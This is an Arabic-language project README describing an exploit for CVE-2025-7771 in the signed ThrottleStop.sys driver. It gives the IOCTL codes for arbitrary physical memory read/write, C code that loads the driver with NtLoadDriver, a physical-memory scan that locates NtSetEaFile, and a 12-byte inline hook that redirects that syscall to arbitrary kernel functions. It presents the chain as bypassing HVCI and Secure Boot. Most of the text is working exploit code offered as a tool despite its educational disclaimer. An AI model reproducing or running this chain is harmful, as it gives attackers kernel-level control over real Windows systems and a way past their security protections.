
تصعيد الامتيازات في النظام من سائق غير موقّع باستخدام ثغرة throttlestop
CVE-2025-7771 — قراءة/كتابة عشوائية في الذاكرة الفعلية عبر IOCTLs الخاصة بـ ThrottleStop.sys
هذا المشروع منشور لأغراض تعليمية وبحثية فقط. الهدف هو توضيح كيف يمكن تسليح برنامج تشغيل نواة موقّع وموثوق لاستغلاله في تصعيد الصلاحيات المحلية (LPE) من مسؤول إلى SYSTEM/النواة، متجاوزًا بذلك ميزات أمان Windows الحديثة بما في ذلك HVCI (تكامل الشيفرة الذي يفرضه Hypervisor) و Secure Boot.
لا تستخدم هذه الأداة لأغراض خبيثة. المؤلف غير مسؤول عن أي إساءة استخدام.
| الحقل | التفاصيل |
|---|---|
| CVE | CVE-2025-7771 |
| برنامج التشغيل | ThrottleStop.sys (مُرفق مع ThrottleStop) |
| البائع | TechPowerUp / Kevin Glynn |
| النوع | قراءة/كتابة عشوائية في الذاكرة الفعلية |
| الأثر | تصعيد صلاحيات محلي (Admin → Kernel) |
| CVSS | 8.2 (عالي) |
| التوقيع | موقّع من Microsoft عبر WHQL / Attestation |
| تجاوز HVCI | ✅ نعم — برنامج التشغيل موقّع بشكل شرعي، ومسموح به حسب سياسة CI |
ThrottleStop.sys مع IOCTLs لتعيين الذاكرة الفعليةبرنامج تشغيل النواة ThrottleStop.sys يعرض جهازًا (\\.\ThrottleStop) يمكن لأي مسؤول محلي الوصول إليه. ينفّذ اثنين من IOCTLs يوفران وصولاً غير مقيد إلى الذاكرة الفعلية:
#define IOCTL_TS_READ_PHYS 0x80006498 // Read arbitrary physical address
#define IOCTL_TS_WRITE_PHYS 0x8000649C // Write arbitrary physical address
0x80006498)Input: ULONG64 PhysicalAddress (8 bytes)
Output: Data buffer (1–8 bytes per call, determined by OutputBufferLength)
يستدعي برنامج التشغيل MmMapIoSpace() لتعيين العنوان الفعلي المطلوب إلى مساحة افتراضية للنواة، وينسخ البيانات إلى المخزن المؤقت للإخراج، ثم يستدعي MmUnmapIoSpace(). لا يتم إجراء أي تحقق على العنوان الفعلي — يمكن قراءة أي عنوان في مساحة العناوين الفعلية.
0x8000649C)Input: ULONG64 PhysicalAddress (8 bytes) + Data (1–8 bytes)
InputBufferLength = 8 + DataSize
Output: None
نفس آلية القراءة، ولكنها تكتب البيانات المقدمة من المستخدم إلى العنوان الفعلي المعيّن. مرة أخرى، لا يوجد تحقق من العنوان أو النطاق.
تم تصميم برنامج التشغيل للسماح لـ ThrottleStop (أداة خفض جهد المعالج/الحد من سرعته) بقراءة/كتابة MSRs وسجلات العتاد مباشرة. من المرجح أن IOCTLs الخاصة بالذاكرة الفعلية أُضيفت للوصول إلى MMIO في مساحة إعداد PCI أو مستشعرات حرارة المعالج، لكن التنفيذ لا يقوم بأي فحص للحدود:
GENERIC_READ | GENERIC_WRITEهذا يحوّل برنامج تشغيل أداة عتاد شرعي إلى بدائية قراءة/كتابة كاملة على مستوى النواة.
سلسلة الاستغلال تصعّد من حساب مسؤول محلي إلى تنفيذ كود نواة عشوائي، محققة فعليًا تحكمًا بمستوى SYSTEM في حلقة النواة ring-0.
يضع المخطط ThrottleStop.sys في %TEMP%، وينشئ إدخال خدمة في السجل تحت HKLM\SYSTEM\CurrentControlSet\Services\ThrottleStop، ويحمّله عبر NtLoadDriver():
// Enable SeLoadDriverPrivilege for the current process
driver::util::enable_privilege(L"SeLoadDriverPrivilege");
// Create service entry pointing to the dropped .sys file
driver::util::create_service_entry("\\??\\C:\\...\\ThrottleStop.sys", "ThrottleStop");
// Load via NtLoadDriver
NtLoadDriver(&driver_reg_path_unicode);
// Open device handle
CreateFileA("\\\\.\\ThrottleStop", GENERIC_READ | GENERIC_WRITE, ...);
ملاحظة: بما أن ThrottleStop.sys موقّع بشكل شرعي، فإنه يُحمَّل حتى مع تفعيل HVCI/Secure Boot. سياسة CI في Windows تثق بالشهادة.
مع مقبض الجهاز، يمكن للاستغلال قراءة/كتابة أي عنوان فعلي على النظام:
// Read 8 bytes from physical address 0x1000
ULONGLONG phys_addr = 0x1000;
ULONGLONG data = 0;
DeviceIoControl(handle, 0x80006498, &phys_addr, 8, &data, 8, &returned, NULL);
// Write 8 bytes to physical address
UCHAR input[16];
*(ULONGLONG*)input = target_phys_addr; // address
*(ULONGLONG*)(input + 8) = shellcode_qword; // data
DeviceIoControl(handle, 0x8000649C, input, 16, NULL, 0, &returned, NULL);
يلفّ الاستغلال هذه في دوال مساعدة تتعامل مع القراءات/الكتابات المجزأة (1 أو 2 أو 4 أو 8 بايت لكل استدعاء) لنقل بيانات بأطوال عشوائية.
لتنفيذ دوال نواة عشوائية، يحتاج الاستغلال إلى إيجاد العنوان الفعلي لمعالج استدعاء نظام في النواة. يستهدف NtSetEaFile (استدعاء نظام نادرًا ما تتم مراقبته):
ntoskrnl.exe في وضع المستخدم عبر LoadLibraryEx(DONT_RESOLVE_DLL_REFERENCES)، والحصول على RVA للدالة NtSetEaFileRVA & 0x1FFFFFHARDWARE\RESOURCEMAP\System Resources\Physical Memory)، بالخطوات 2MB، ومقارنة البايتات:for (phys_2mb = start; phys_2mb < range_end; phys_2mb += 0x200000)
{
candidate_pa = phys_2mb + offset_in_2mb;
read_phys(candidate_pa, &first8, 8);
if (first8 == pattern_first8) // quick check
{
read_phys(candidate_pa, verify, 32); // full verify
if (memcmp(verify, pattern, 32) == 0)
{
syscall_phys_addr = candidate_pa; // found it!
// ... validate via PsGetProcessSectionBaseAddress
}
}
}
PsGetProcessSectionBaseAddress(current_pid) والتحقق من أن القاعدة المُعادة تطابق GetModuleHandle(NULL).بمجرد معرفة العنوان الفعلي لـ NtSetEaFile، يثبّت الاستغلال قفزة انتقالية من 12 بايت مباشرة عبر كتابات الذاكرة الفعلية:
; Original NtSetEaFile bytes (saved for restoration)
; Replaced with:
mov rax, <target_kernel_address> ; 48 B8 <8-byte imm64>
push rax ; 50
ret ; C3
// Install hook
unsigned char jmp_code[12] = {
0x48, 0xB8, // mov rax, imm64
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // <target address>
0x50, // push rax
0xC3 // ret
};
memcpy(jmp_code + 2, &target_function, 8);
write_phys(syscall_phys_addr, jmp_code, 12);
// Trigger from usermode
NtSetEaFile(args...); // → jumps to target_function in kernel!